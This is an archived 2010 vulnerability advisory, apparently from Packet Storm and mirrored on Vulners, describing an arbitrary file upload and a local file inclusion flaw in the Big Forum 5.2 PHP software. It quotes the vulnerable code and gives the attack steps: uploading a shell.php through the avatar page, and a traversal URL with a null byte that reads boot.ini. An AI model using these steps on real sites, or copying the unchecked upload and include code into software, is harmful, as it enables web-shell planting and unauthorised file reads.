Lucene search
K

Big Forum 5.2 Shell Upload / Local File Inclusion

🗓️ 26 Jun 2010 00:00:00Reported by Zer0 ThunderType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 22 Views

Big Forum 5.2v Arbitrary File Upload & Local File Inclusion Vulnerability. Code allows arbitrary file upload & local file inclusion, causing potential risks

Code
`  
=> Big Forum 5.2v Arbitrary File Upload & Local File Inclusion Vulnerability  
=> Author : Zer0 Thunder  
=> Home : http://colombohackers.com  
=> Download : http://sourceforge.net/projects/npage-bigforum/files/bigforum%205.2/bf5.2.zip/download  
=> Date : 06/24/2010  
  
  
  
Arbitrary File Upload  
---------------------  
  
  
  
Vuln C0de  
  
=============================================================================================================  
  
if($_FILES['datei']['size'] < 102400)  
{  
move_uploaded_file($_FILES['datei']['tmp_name'], "images/avatar/".$_FILES['datei']['name']);  
echo "Danke, dein Avatar wurde hochgeladen, es wird nun angezeigt.";  
$pfad = $_FILES['datei']['name'];  
mysql_query("UPDATE users SET ava_link = 'images/avatar/$pfad' WHERE username LIKE '". USER ."'");  
}  
  
you will have to register befor doing this   
  
=============================================================================================================  
  
  
Vuln Page link : http://localhost/bf/main.php?do=ava   
(Upload the shell.php or shell.jpg.php )  
  
  
  
  
  
Local File Inclusion   
--------------------  
  
  
=============================================================================================================  
if($_GET["aktion"] == "install")  
{  
$path = "../includes/plugins/$_GET[datei]";  
include($path);  
plugin_install($kurzc, $_GET["datei"]);  
echo "Danke, der Mod wurde erfolgreich installiert.";  
exit;  
}  
  
  
=============================================================================================================  
  
  
http://localhost/bf/admin/admin.php?do=mods&aktion=install&datei=../../../../../boot.ini%00  
  
  
  
  
  
  
--------------------------------------  
Msn : [email protected]  
--------------------------------------  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation